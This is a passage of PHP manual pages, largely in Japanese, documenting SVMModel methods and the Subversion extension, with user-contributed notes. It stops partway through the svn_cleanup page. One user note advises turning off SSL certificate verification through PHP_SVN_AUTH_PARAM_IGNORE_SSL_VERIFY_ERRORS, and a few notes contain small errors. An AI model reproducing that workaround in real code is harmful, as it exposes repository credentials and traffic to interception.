SVMModel::getNrClass — モデルが訓練されたクラスの個数を返す

説明

public SVMModel::getNrClass ( ) : int

モデルが訓練されたクラスの個数を返します。 １つのクラスおよび複数の回帰モデルにたいしては、2 を返します。

パラメータ

この関数にはパラメータはありません。

返り値

整数のクラスの個数を返します

User Contributed Notes

There are no user contributed notes for this page.


モデルが訓練された SVM の種類を取得

  • ≪ SVMModel::getNrClass
  • SVMModel::getSvrProbability ≫
  • PHP Manual
  • SVMModel
  • モデルが訓練された SVM の種類を取得

SVMModel::getSvmType

(PECL svm >= 0.1.5)

SVMModel::getSvmType — モデルが訓練された SVM の種類を取得

説明

public SVMModel::getSvmType ( ) : int

使用された SVM モデルの種類を表現する整数値を返します。例) SVM::C_SVC

パラメータ

この関数にはパラメータはありません。

返り値

整数の SVM の種類を返します

User Contributed Notes

There are no user contributed notes for this page.


回帰モデルに対するσ（シグマ）値を取得

  • ≪ SVMModel::getSvmType
  • SVMModel::load ≫
  • PHP Manual
  • SVMModel
  • 回帰モデルに対するσ（シグマ）値を取得

SVMModel::getSvrProbability

(PECL svm >= 0.1.5)

SVMModel::getSvrProbability — 回帰モデルに対するσ（シグマ）値を取得

説明

public SVMModel::getSvrProbability ( ) : float

回帰モデルに対するσ（シグマ）値を返します。 確率情報がないか、またはモデルが SVR ではない場合、0 が返されます。

パラメータ

この関数にはパラメータはありません。

返り値

σ（シグマ）値を返します

User Contributed Notes

There are no user contributed notes for this page.


保管された SVM モデルを読み込み

  • ≪ SVMModel::getSvrProbability
  • SVMModel::predict_probability ≫
  • PHP Manual
  • SVMModel
  • 保管された SVM モデルを読み込み

SVMModel::load

(PECL svm >= 0.1.00.1.0)

SVMModel::load — 保管された SVM モデルを読み込み

説明

public SVMModel::load ( string $filename ) : bool

識別および回帰の準備ができたモデルファイルを読み込みます。

パラメータ

filename

モデルのファイル名

返り値

エラー時に SVMException をスローします。 成功時に true を返します。

参考

  • SVMModel::save() - モデルをファイルに保管

User Contributed Notes

There are no user contributed notes for this page.


Return class probabilities for previous unseen data

  • ≪ SVMModel::load
  • SVMModel::predict ≫
  • PHP Manual
  • SVMModel
  • Return class probabilities for previous unseen data

SVMModel::predict_probability

(PECL svm >= 0.1.4)

SVMModel::predict_probability — Return class probabilities for previous unseen data

説明

public SVMModel::predict_probability ( array $data ) : float

This function accepts an array of data and attempts to predict the class, as with the predict function. Additionally, however, this function returns an array of probabilities, one per class in the model, which represent the estimated chance of the data supplied being a member of that class. Requires that the model to be used has been trained with the probability parameter set to true.

パラメータ

data

The array to be classified. This should be a series of key => value pairs in increasing key order, but not necessarily continuous.

probabilities

The supplied value will be filled with the probabilities. This will be either null, in the case of a model without probability information, or an array where the index is the class name and the value the predicted probability.

返り値

Float the predicted value. This will be a class label in the case of classification, a real value in the case of regression. Throws SVMException on error

参考

  • SVM::predict()

User Contributed Notes

There are no user contributed notes for this page.


Predict a value for previously unseen data

  • ≪ SVMModel::predict_probability
  • SVMModel::save ≫
  • PHP Manual
  • SVMModel
  • Predict a value for previously unseen data

SVMModel::predict

(PECL svm >= 0.1.0)

SVMModel::predict — Predict a value for previously unseen data

説明

public SVMModel::predict ( array $data ) : float

This function accepts an array of data and attempts to predict the class or regression value based on the model extracted from previously trained data.

パラメータ

data

The array to be classified. This should be a series of key => value pairs in increasing key order, but not necessarily continuous.

返り値

Float the predicted value. This will be a class label in the case of classification, a real value in the case of regression. Throws SVMException on error

参考

  • SVM::train() - Create a SVMModel based on training data

User Contributed Notes

There are no user contributed notes for this page.


モデルをファイルに保管

  • ≪ SVMModel::predict
  • SVN ≫
  • PHP Manual
  • SVMModel
  • モデルをファイルに保管

SVMModel::save

(PECL svm >= 0.1.0)

SVMModel::save — モデルをファイルに保管

説明

public SVMModel::save ( string $filename ) : bool

後で使用するために、モデルデータをファイルに保管します。

パラメータ

filename

モデルを保管するファイル

返り値

エラー時に SVMException をスローします。 成功時に true を返します。

参考

  • SVMModel::load() - 保管された SVM モデルを読み込み

User Contributed Notes

There are no user contributed notes for this page.


Subversion

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • SVN 関数
    • svn_add — Schedules the addition of an item in a working directory
    • svn_auth_get_parameter — 認証パラメータを取得する
    • svn_auth_set_parameter — 認証パラメータを設定する
    • svn_blame — ファイルの SVN blame を取得する
    • svn_cat — リポジトリ内のファイルの内容を返す
    • svn_checkout — リポジトリから作業コピーをチェックアウトする
    • svn_cleanup — 作業コピーディレクトリを再帰的にクリーンアップし、中途半端な操作を解消してロックを削除する
    • svn_client_version — SVN クライアントライブラリのバージョンを返す
    • svn_commit — Sends changes from the local working copy to the repository
    • svn_delete — Delete items from a working copy or repository
    • svn_diff — ふたつのパスの差分を再帰的に取得する
    • svn_export — Export the contents of a SVN directory
    • svn_fs_abort_txn — トランザクションを中断し、成功したら true、失敗したら false を返す
    • svn_fs_apply_text — 置換に使用するストリームを作成して返す
    • svn_fs_begin_txn2 — 新しいトランザクションを作成する
    • svn_fs_change_node_prop — 成功したら true、失敗したら false を返す
    • svn_fs_check_path — 指定したリポジトリの fsroot パスにどんなアイテムが存在するかを調べる
    • svn_fs_contents_changed — コンテンツが変更されている場合に true、されていない場合に false を返す
    • svn_fs_copy — ファイルやディレクトリをコピーし、成功したら true、失敗したら false を返す
    • svn_fs_delete — ファイルやディレクトリを削除し、成功したら true、失敗したら false を返す
    • svn_fs_dir_entries — 指定したパスのディレクトリを列挙し、ディレクトリ名とファイルタイプのハッシュを返す
    • svn_fs_file_contents — 指定したバージョンの fs から、ファイルの中身を読み込むためのストリームを返す
    • svn_fs_file_length — 指定したバージョンの fs から、ファイルの長さを返す
    • svn_fs_is_dir — ディレクトリを指すパスである場合に true、それ以外の場合に false を返す
    • svn_fs_is_file — ファイルを指すパスである場合に true、それ以外の場合に false を返す
    • svn_fs_make_dir — 空のディレクトリを作成し、成功したら true、失敗したら false を返す
    • svn_fs_make_file — 空のファイルを作成し、成功したら true、失敗したら false を返す
    • svn_fs_node_created_rev — fsroot 配下のパスが作成されたリビジョンを返す
    • svn_fs_node_prop — ノードのプロパティの値を返す
    • svn_fs_props_changed — プロパティが変更されている場合に true、それ以外の場合に false を返す
    • svn_fs_revision_prop — 指定したプロパティの値を取得する
    • svn_fs_revision_root — リポジトリのルートの指定したバージョンのハンドルを取得する
    • svn_fs_txn_root — トランザクションのルートを作成して返す
    • svn_fs_youngest_rev — ファイルシステム内で一番若いリビジョン番号を返す
    • svn_import — バージョン管理されていないパスをリポジトリにインポートする
    • svn_log — 指定したリポジトリ URL のコミットログメッセージを返す
    • svn_ls — Returns list of directory contents in repository URL, optionally at revision number
    • svn_mkdir — 作業コピーあるいはリポジトリ内にディレクトリを作成する
    • svn_repos_create — 新しい subversion リポジトリを指定したパスに作成する
    • svn_repos_fs_begin_txn_for_commit — 新しいトランザクションを作成する
    • svn_repos_fs_commit_txn — トランザクションをコミットし、新しいリビジョンを返す
    • svn_repos_fs — リポジトリ用に、ファイルシステム上のハンドルを取得する
    • svn_repos_hotcopy — repospath にあるリポジトリのホットコピーを作成し、destpath にコピーする
    • svn_repos_open — Open a shared lock on a repository
    • svn_repos_recover — Run recovery procedures on the repository located at path
    • svn_revert — Revert changes to the working copy
    • svn_status — Returns the status of working copy files and directories
    • svn_update — Update working copy

User Contributed Notes

There are no user contributed notes for this page.


はじめに

この拡張モジュールは、バージョン管理システム » Subversion (SVN) を PHP から操作するためのものです。 コマンドラインから svn をコールせずに PHP スクリプトから SVN リポジトリや作業コピーを操作することができます。

警告

この拡張モジュールは、 実験的 なものです。この拡張モジュールの動作・ 関数名・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 このモジュールは自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


要件

この拡張モジュールを使うのに、Subversion のバイナリは不要です。しかし、この拡張モジュールをコンパイルする際には libsvn (Subversion のヘッダ) が必須となります。

User Contributed Notes

IfTrueElseFalse 01-Sep-2010 10:15
If you get
checking for svn includes... configure: error: failed to find svn_client.h

Try
sudo apt-get install libsvn-dev


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/svn

./configure が SVN 関連のファイルを見つけられない場合 (Subversion が標準とは異なる場所にインストールされている場合など) は、./configure --with-svn=$USR_PATH として include/subversion-1/ フォルダの場所を指定します

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

警告

この拡張モジュールを libsvn 1.3 でコンパイルした場合は、 Subversion 1.4 で作成した作業コピーを操作しようとすると失敗します。

User Contributed Notes

alexcescalona at gmail dot com 21-Jun-2011 08:38
If you use CollabNet's Subversion client (v. 1.6.13), the development libraries are included. For the most current version (v 1.6.17) you may need to install CollabNet Subversion Edge for access to the development libraries.

Sure, the subversion-devel package should not conflict with Collabnet, but it has a dependency with the subversion package, which installs svn binaries in /usr/bin, which takes precedence over CollabNet's path in the PATH environment variable.
chris at livingresource dot net 16-Dec-2010 08:23
If you have Ubuntu (I know 10.04+, not sure about earlier), you can do this to install the package;

sudo apt-get php5-svn
Bruno Macias 30-Nov-2010 06:44
For install in CentOS 5.5

yum install subversion subversion-devel neon neon-devel
pecl install svn

echo "extension=svn.so" > /etc/php.d/svn.ini

service httpd restart
elpoutro at free dot fr 30-Sep-2008 10:44
For Windows:
If you use a fresh install of windows XP you will need all this DLL in your C:/windows/system32/ folder:
intl3_svn.dll, libdb43.dll, libapr.dll, libapriconv.dll, libaprutil.dll, libeay32.dll, msjava.dll, php5ts.dll, ssleay32.dll, vsinit.dll, msvcr71.dll, MSVCP71.DLL
I recommend to use DependencyWalker (http://www.dependencywalker.com/) with your php_svn.dll (in php extensions) to see exactly which ones you need.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

SVN_REVISION_HEAD (int)
HEAD リビジョンを指すマジックナンバー (-1)。
svn_auth_set_parameter() で使用する定数
SVN_AUTH_PARAM_DEFAULT_USERNAME (string)
ベーシック認証で使用するデフォルトのユーザー名を表すプロパティ。
SVN_AUTH_PARAM_DEFAULT_PASSWORD (string)
ベーシック認証で使用するデフォルトのパスワードを表すプロパティ。
SVN_AUTH_PARAM_NON_INTERACTIVE (string)
SVN_AUTH_PARAM_DONT_STORE_PASSWORDS (string)
SVN_AUTH_PARAM_NO_AUTH_CACHE (string)
SVN_AUTH_PARAM_SSL_SERVER_FAILURES (string)
SVN_AUTH_PARAM_SSL_SERVER_CERT_INFO (string)
SVN_AUTH_PARAM_CONFIG (string)
SVN_AUTH_PARAM_SERVER_GROUP (string)
SVN_AUTH_PARAM_CONFIG_DIR (string)
PHP_SVN_AUTH_PARAM_IGNORE_SSL_VERIFY_ERRORS (string)
SSL 証明書の検証エラーを無視するカスタムプロパティ。
ファイルシステムの定数
SVN_FS_CONFIG_FS_TYPE (string)
ファイルシステムの形式を決める設定キー。
SVN_FS_TYPE_BDB (string)
ファイルシステムは Berkeley-DB です。
SVN_FS_TYPE_FSFS (string)
ファイルシステムはネイティブのファイルシステムです。
予約されているプロパティの定数
SVN_PROP_REVISION_DATE (string)
svn:date
SVN_PROP_REVISION_ORIG_DATE (string)
svn:original-date
SVN_PROP_REVISION_AUTHOR (string)
svn:author
SVN_PROP_REVISION_LOG (string)
svn:log
作業コピーの状態に関する定数
SVN_WC_STATUS_NONE (int)
状態が存在しません。
SVN_WC_STATUS_UNVERSIONED (int)
この作業コピー内でバージョン管理されていません。
SVN_WC_STATUS_NORMAL (int)
アイテムは存在しますが、特に何もない状態です。
SVN_WC_STATUS_ADDED (int)
追加予約されています。
SVN_WC_STATUS_MISSING (int)
バージョン管理されているアイテムですが、作業コピー内に存在しません。
SVN_WC_STATUS_DELETED (int)
削除予約されています。
SVN_WC_STATUS_REPLACED (int)
いったん削除されたあとに再度追加されました。
SVN_WC_STATUS_MODIFIED (int)
アイテム (の内容あるいはプロパティ) が変更されました。
SVN_WC_STATUS_MERGED (int)
ローカルでの変更内容がリポジトリの変更内容とマージされました。
SVN_WC_STATUS_CONFLICTED (int)
ローカルでの変更内容がリポジトリでの変更内容と衝突 (conflict) しています。
SVN_WC_STATUS_IGNORED (int)
バージョン管理されていないアイテムですが、無視するよう設定されています。
SVN_WC_STATUS_OBSTRUCTED (int)
バージョン管理されていないアイテムが、 バージョン管理下のリソースを邪魔しています。
SVN_WC_STATUS_EXTERNAL (int)
バージョン管理されていないパスで、 svn:externals を使用しています。
SVN_WC_STATUS_INCOMPLETE (int)
ディレクトリのエントリ一覧がありません。
ノードの種類を表す定数
SVN_NODE_NONE (int)
存在しない。
SVN_NODE_FILE (int)
ファイル。
SVN_NODE_DIR (int)
ディレクトリ。
SVN_NODE_UNKNOWN (int)
Subversion が判別できない何か。

User Contributed Notes

daevid at daevid dot com 21-Oct-2016 12:16
To get these constants so you can reverse lookup what all the integers mean, do this:

<?php

   $constants = array_flip($this->getSvnConstants('SVN_WC_STATUS'));

   $status = svn_status();

   foreach($status as &$v)
   {
          $v['text_status']       = $constants[$v['text_status']];
          $v['repos_text_status'] = $constants[$v['repos_text_status']];
          $v['prop_status']       = $constants[$v['prop_status']];
          $v['repos_prop_status'] = $constants[$v['repos_prop_status']];
    }

    public function getSvnConstants($filter='SVN_')
    {
        $constants = array();
        foreach (get_defined_constants() as $key => $value)
            if (substr($key, 0, strlen($filter)) == $filter)
                $constants[$key] = $value;

        return $constants;
    }

?>


SVN 関数

目次

  • svn_add — Schedules the addition of an item in a working directory
  • svn_auth_get_parameter — 認証パラメータを取得する
  • svn_auth_set_parameter — 認証パラメータを設定する
  • svn_blame — ファイルの SVN blame を取得する
  • svn_cat — リポジトリ内のファイルの内容を返す
  • svn_checkout — リポジトリから作業コピーをチェックアウトする
  • svn_cleanup — 作業コピーディレクトリを再帰的にクリーンアップし、中途半端な操作を解消してロックを削除する
  • svn_client_version — SVN クライアントライブラリのバージョンを返す
  • svn_commit — Sends changes from the local working copy to the repository
  • svn_delete — Delete items from a working copy or repository
  • svn_diff — ふたつのパスの差分を再帰的に取得する
  • svn_export — Export the contents of a SVN directory
  • svn_fs_abort_txn — トランザクションを中断し、成功したら true、失敗したら false を返す
  • svn_fs_apply_text — 置換に使用するストリームを作成して返す
  • svn_fs_begin_txn2 — 新しいトランザクションを作成する
  • svn_fs_change_node_prop — 成功したら true、失敗したら false を返す
  • svn_fs_check_path — 指定したリポジトリの fsroot パスにどんなアイテムが存在するかを調べる
  • svn_fs_contents_changed — コンテンツが変更されている場合に true、されていない場合に false を返す
  • svn_fs_copy — ファイルやディレクトリをコピーし、成功したら true、失敗したら false を返す
  • svn_fs_delete — ファイルやディレクトリを削除し、成功したら true、失敗したら false を返す
  • svn_fs_dir_entries — 指定したパスのディレクトリを列挙し、ディレクトリ名とファイルタイプのハッシュを返す
  • svn_fs_file_contents — 指定したバージョンの fs から、ファイルの中身を読み込むためのストリームを返す
  • svn_fs_file_length — 指定したバージョンの fs から、ファイルの長さを返す
  • svn_fs_is_dir — ディレクトリを指すパスである場合に true、それ以外の場合に false を返す
  • svn_fs_is_file — ファイルを指すパスである場合に true、それ以外の場合に false を返す
  • svn_fs_make_dir — 空のディレクトリを作成し、成功したら true、失敗したら false を返す
  • svn_fs_make_file — 空のファイルを作成し、成功したら true、失敗したら false を返す
  • svn_fs_node_created_rev — fsroot 配下のパスが作成されたリビジョンを返す
  • svn_fs_node_prop — ノードのプロパティの値を返す
  • svn_fs_props_changed — プロパティが変更されている場合に true、それ以外の場合に false を返す
  • svn_fs_revision_prop — 指定したプロパティの値を取得する
  • svn_fs_revision_root — リポジトリのルートの指定したバージョンのハンドルを取得する
  • svn_fs_txn_root — トランザクションのルートを作成して返す
  • svn_fs_youngest_rev — ファイルシステム内で一番若いリビジョン番号を返す
  • svn_import — バージョン管理されていないパスをリポジトリにインポートする
  • svn_log — 指定したリポジトリ URL のコミットログメッセージを返す
  • svn_ls — Returns list of directory contents in repository URL, optionally at revision number
  • svn_mkdir — 作業コピーあるいはリポジトリ内にディレクトリを作成する
  • svn_repos_create — 新しい subversion リポジトリを指定したパスに作成する
  • svn_repos_fs_begin_txn_for_commit — 新しいトランザクションを作成する
  • svn_repos_fs_commit_txn — トランザクションをコミットし、新しいリビジョンを返す
  • svn_repos_fs — リポジトリ用に、ファイルシステム上のハンドルを取得する
  • svn_repos_hotcopy — repospath にあるリポジトリのホットコピーを作成し、destpath にコピーする
  • svn_repos_open — Open a shared lock on a repository
  • svn_repos_recover — Run recovery procedures on the repository located at path
  • svn_revert — Revert changes to the working copy
  • svn_status — Returns the status of working copy files and directories
  • svn_update — Update working copy

User Contributed Notes

j dot saterfiel at gmail dot com 10-Jan-2013 12:53
The PHP SVN library functions as of 1.02 that are not listed in this documentation and their signatures

array svn_info(string path [, bool recurse = true [, int revision = -1]])

resource svn_copy(string log, string src_path, string destination_path [, bool working_copy = true [, int revision = -1]])

mixed svn_move(string src_path, string dst_path [, bool force = false])

mixed svn_proplist(string path [, bool recurse = false, [int revision]])

mixed svn_propget(string path, string property_name [, bool recurse = false [, int revision]])

bool svn_lock(string comment, mixed targets [, bool steal_lock = false])

bool svn_unlock(mixed targets [, bool break_lock= false])

resource svn_switch(string path, string url [, bool working_copy = true])

You can also use the new Svn() object for these $svn->lock()

In general any function should work just like the svn command line version.  For instance svn_info can be used against a remote url or a local path and svn_copy can also be used for local or remote operations.
bohwaz 03-Jan-2013 03:48
This extension also gives you access to an object API that is currently not documented anywhere. It uses the Svn, SvnWc, SvnWcSchedule and SvnNode classes. So you can't redeclare those names.

Here are some basics on how to use it:

<?php
$svn = new Svn;
$log = $svn->log('https://svn.example/trunk/', Svn::HEAD);
?>

Basically you can use all functions documented here by replacing the svn_ prefix with $svn-> object. Same for constants, most can be used directly from the objects.

If you're interested, make sure to check the extension source code to find out more.
chris dot lawrence at ljg dot com 30-Mar-2010 02:00
I also submitted this as a bug (since its about missing documentation).

This documentation does not mention the "svn_delete" command, but it was added in version 0.4.  You can check the release notes here:
http://pecl.php.net/package/svn/0.4

Also, you could look at the contents of the current source code (svn-0.5.1/svn.c).

But what you really need to know is that the svn_delete command works correctly with this prototype:
svn_delete(string path [, bool force = true])

It returns true on success and false on failure.
Pieter van Ginkel 21-Mar-2008 12:23
The Subversion functions work quite well for me, after some searching. I needed some time though to find out how they all worked together, but this is a basic example of svn_fs_is_file:

<?php

# Get a handle to the on-disk repository. Note that this
# is NOT a checked out project, but the actual svn repository!

$repos_handle = svn_repos_open('/var/lib/svn');
$fs_handle = svn_repos_fs($repos_handle);

# Now we need to open a revision because that's what the
# svn_fs_* methods need. You'll probably want the latest
# revision and we have a helper method for that.

$youngest_rev = svn_fs_youngest_rev($fs_handle);
$fs_rev_handle = svn_fs_revision_root($fs_handle, $youngest_rev);

# Now we can actually start doing stuff, for example the
# svn_fs_is_file call:

print_r(svn_fs_is_file($fs_rev_handle, '/a-file.txt'));

?>

There is one important thing to note about this all. You cannot let the handles expire while doing any calls to svn_fs_*. When implementing a helper class, I cached the first and third handle, but not the second one. PHP crashes hard when you do this. Keep references to all handles you get while you're calling the svn_fs_* methods.
tbrendstrup 19-Mar-2008 01:49
"[Editorial note: These constants are defined by the Subversion library itself and may change without notice (although things tend to be quite stable).]"

The subversion developers have a policy not to change stuff like this without changing the major version number, so these should be valid at least until subversion 2.0.0 is released. (more values might be added, but the existing ones won't change).
pierre dot beaumadier at rhapso dot fr 03-Oct-2007 06:59
[Editorial note: These constants are defined by the Subversion library itself and may change without notice (although things tend to be quite stable).]

For information, here are the numeric values I got for the constants :

Working copy status constants :
    * svn_wc_status_none => 1
    * svn_wc_status_unversioned => 2
    * svn_wc_status_normal => 3
    * svn_wc_status_added => 4
    * svn_wc_status_missing => 5
    * svn_wc_status_deleted => 6
    * svn_wc_status_replaced => 7
    * svn_wc_status_modified => 8
    * svn_wc_status_merged => 9
    * svn_wc_status_conflicted => 10
    * svn_wc_status_ignored => 11
    * svn_wc_status_obstructed => 12
    * svn_wc_status_external => 13
    * svn_wc_status_incomplete => 14

Node type constants :
    * svn_node_none => 0
    * svn_node_file => 1
    * svn_node_dir => 2
    * svn_node_unknown => 3


Schedules the addition of an item in a working directory

  • ≪ SVN 関数
  • svn_auth_get_parameter ≫
  • PHP Manual
  • SVN 関数
  • Schedules the addition of an item in a working directory

svn_add

(PECL svn >= 0.1.0)

svn_add — Schedules the addition of an item in a working directory

説明

svn_add ( string $path , bool $recursive = true , bool $force = false ) : bool

Adds the file, directory or symbolic link at path to the working directory. The item will be added to the repository the next time you call svn_commit() on the working copy.

パラメータ

path

Path of item to add.

注意: 相対パスは、PHP バイナリが存在するディレクトリを基準として解決されます。呼び出しもとのスクリプトの作業ディレクトリを基準とするには、realpath() あるいは dirname(__FILE__) を使用してください。

recursive

If item is directory, whether or not to recursively add all of its contents. Default is true

force

If true, Subversion will recurse into already versioned directories in order to add unversioned files that may be hiding in those directories. Default is false

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

例

例1 svn_add() example

In a working directory where svn status returns:

$ svn status
?      foobar.txt

...this code:

<?php
svn_add('foobar.txt');
?>

...will schedule foobar.txt for addition into the repository.

参考

  • » SVN documentation on svn add

User Contributed Notes

There are no user contributed notes for this page.


認証パラメータを取得する

  • ≪ svn_add
  • svn_auth_set_parameter ≫
  • PHP Manual
  • SVN 関数
  • 認証パラメータを取得する

svn_auth_get_parameter

(PECL svn >= 0.1.0)

svn_auth_get_parameter — 認証パラメータを取得する

説明

svn_auth_get_parameter ( string $key ) : string

認証パラメータ key を取得します。 使用できるキーとその意味については 認証定数の一覧 を参照ください。

パラメータ

key

キーの名前。認証に関する定数 のいずれかを指定します。

返り値

key の値を文字列で返します。 パラメータが存在しない場合は null を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

参考

  • svn_auth_set_parameter() - 認証パラメータを設定する
  • 認証定数

User Contributed Notes

There are no user contributed notes for this page.


認証パラメータを設定する

  • ≪ svn_auth_get_parameter
  • svn_blame ≫
  • PHP Manual
  • SVN 関数
  • 認証パラメータを設定する

svn_auth_set_parameter

(PECL svn >= 0.1.0)

svn_auth_set_parameter — 認証パラメータを設定する

説明

svn_auth_set_parameter ( string $key , string $value ) : void

認証パラメータ key の値を value に設定します。 使用できるキーとその意味については 認証定数の一覧 を参照ください。

パラメータ

key

キーの名前。認証に関する定数 のいずれかを指定します。

value

そのパラメータに指定する値。 値の書式は、パラメータによって異なります。

返り値

値を返しません。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

例

例1 デフォルトの認証の例

この例は、SVN のデフォルトのユーザー名を 'Bob'、デフォルトのパスワードを 'abc123' に設定します。

<?php
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_USERNAME, 'Bob');
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_PASSWORD, 'abc123');
?>

参考

  • svn_auth_get_parameter() - 認証パラメータを取得する
  • 認証定数

User Contributed Notes

powtac at gmx dot de 07-Jun-2011 07:38
If you having trouble with certificate verification like this:

PHP Warning:  svn_log(): svn error(s) occured 175002 (RA  layer request failed) OPTIONS of 'https://example.com/your/repos/path': Server certificate verification failed: issuer is not trusted

Try this two steps:

1. Run

"svn log https://example.com/your/repos/path"

on the commandline and permanent accept the certificate by typing "p" when asked.

2. Use the following settings for svn_auth_set_parameter() before calling other svn functions:

<?php
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_USERNAME,             'your svn user');
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_PASSWORD,             'your svn users password');
svn_auth_set_parameter(PHP_SVN_AUTH_PARAM_IGNORE_SSL_VERIFY_ERRORS, true); // <--- Important for certificate issues!
svn_auth_set_parameter(SVN_AUTH_PARAM_NON_INTERACTIVE,              true);
svn_auth_set_parameter(SVN_AUTH_PARAM_NO_AUTH_CACHE,                true);

var_dump(svn_log('https://example.com/your/repos/path'));
?>

This will work for SVN client libraries below 1.6!


ファイルの SVN blame を取得する

  • ≪ svn_auth_set_parameter
  • svn_cat ≫
  • PHP Manual
  • SVN 関数
  • ファイルの SVN blame を取得する

svn_blame

(PECL svn >= 0.3.0)

svn_blame — ファイルの SVN blame を取得する

説明

svn_blame ( string $repository_url , int $revision_no = SVN_REVISION_HEAD ) : array

リポジトリの URL を指定して、ファイルの SVN blame を取得します。

パラメータ

repository_url

リポジトリの URL。

revision_no

リビジョン番号。

返り値

SVN blame 情報を配列で返します。行ごとに区切られ、 リビジョン番号と行番号、コードの行、作者、日付が含まれます。

例

例1 svn_blame() の例

<?php
$svnurl = 'http://svn.example.org/svnroot/foo/trunk/index.php';

print_r( svn_blame($svnurl) );

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] = Array
          (
           [rev] = 1
           [line_no] = 1
           [line] = Hello World
           [author] = joesmith
           [date] = 2007-07-02T05:51:26.628396Z
          )
    [1] = Array
          ...

参考

  • svn_diff() - ふたつのパスの差分を再帰的に取得する
  • svn_logs()
  • svn_status() - Returns the status of working copy files and directories

User Contributed Notes

There are no user contributed notes for this page.


リポジトリ内のファイルの内容を返す

  • ≪ svn_blame
  • svn_checkout ≫
  • PHP Manual
  • SVN 関数
  • リポジトリ内のファイルの内容を返す

svn_cat

(PECL svn >= 0.1.0)

svn_cat — リポジトリ内のファイルの内容を返す

説明

svn_cat ( string $repos_url , int $revision_no = ? ) : string

リポジトリ内のファイルを指す URL repos_url の中身を返します。オプションでリビジョン番号 revision_no を指定します。

パラメータ

repos_url

リポジトリ内のアイテムへのパスを表す URL 文字列。

revision_no

取得したいリビジョン番号を表す整数値。デフォルトは HEAD リビジョン。

返り値

成功した場合にアイテムの内容を表す文字列、失敗した場合に false を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

例

例1 基本的な例

この例は、あるファイルのリビジョン 20 の内容を取得します。

<?php
$contents = svn_cat('http://www.example.com/svnroot/calc/gui.c', 28)
?>

参考

  • svn_list()
  • » SVN ドキュメントの svn cat

User Contributed Notes

colm 21-Feb-2014 10:16
Just to add to Adam's comment, when retrieving a file contents I found I got the best results using the same revision in both places every time; ie. as follows:

<?php
svn_cat ($url.'@'.$revision, $revision);
?>

The one appended to the URL is the peg revision, and the one in the second paramer is the operative revision.

This seems to cover all the bases.
Adam 27-Mar-2013 02:16
There is a difference how svn cat works for deleted files. For deleted file commandline `svn cat -r xxx <full_url>` will give error, but 'svn cat <full_url>@xxx` will cat file from the past.
Unfortunately this method will not cat deleted file.


リポジトリから作業コピーをチェックアウトする

  • ≪ svn_cat
  • svn_cleanup ≫
  • PHP Manual
  • SVN 関数
  • リポジトリから作業コピーをチェックアウトする

svn_checkout

(PECL svn >= 0.1.0)

svn_checkout — リポジトリから作業コピーをチェックアウトする

説明

svn_checkout ( string $repos , string $targetpath , int $revision = ? , int $flags = 0 ) : bool

repos にあるリポジトリの リビジョン revision を、 targetpath の作業コピーにチェックアウトします。

パラメータ

repos

チェックアウトしたいリポジトリ内のディレクトリを表す URL 文字列。

targetpath

チェックアウト先ディレクトリのローカルパス。

注意: 相対パスは、PHP バイナリが存在するディレクトリを基準として解決されます。呼び出しもとのスクリプトの作業ディレクトリを基準とするには、realpath() あるいは dirname(__FILE__) を使用してください。

revision

チェックアウトしたいリビジョン番号を表す整数値。デフォルトは HEAD リビジョンで、これは最新のリビジョンを表します。

flags

SVN_NON_RECURSIVE および SVN_IGNORE_EXTERNALS の任意の組み合わせ。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

例

例1 基本的な例

この例は、リポジトリ内のディレクトリを calc という名前のローカルディレクトリにチェックアウトします。

<?php
svn_checkout('http://www.example.com/svnroot/calc/trunk', dirname(__FILE__) . '/calc');
?>

dirname(__FILE__) を使用して、 相対パス calc を絶対パスに変換する必要があります。 もし calc ディレクトリが存在するのなら、 realpath() を使って絶対パスを取得することもできます。

参考

  • svn_add() - Schedules the addition of an item in a working directory
  • svn_commit() - Sends changes from the local working copy to the repository
  • svn_status() - Returns the status of working copy files and directories
  • svn_update() - Update working copy
  • » SVN ドキュメントの svn checkout

User Contributed Notes

leonardodarosa23 at gmail dot com 02-May-2016 06:08
For those who are trying to use this while they don't patch out the  SVN_IGNORE_EXTERNALS constant that is missing, I've found the equivalent integer flag if you want to use before the official release:

if(!defined('SVN_IGNORE_EXTERNALS'))
    define('SVN_IGNORE_EXTERNALS', 128);


作業コピーディレクトリを再帰的にクリーンアップし、中途半端な操作を解消してロックを削除する

  • ≪ svn_checkout
  • svn_client_version ≫
  • PHP Manual
  • SVN 関数
  • 作業コピーディレクトリを再帰的にクリーンアップし、中途半端な操作を解消してロックを削除する

svn_cleanup

(PECL svn >= 0.1.0)

svn_cleanup — 作業コピーディレクトリを再帰的にクリーンアップし、中途半端な操作を解消してロックを削除する

説明

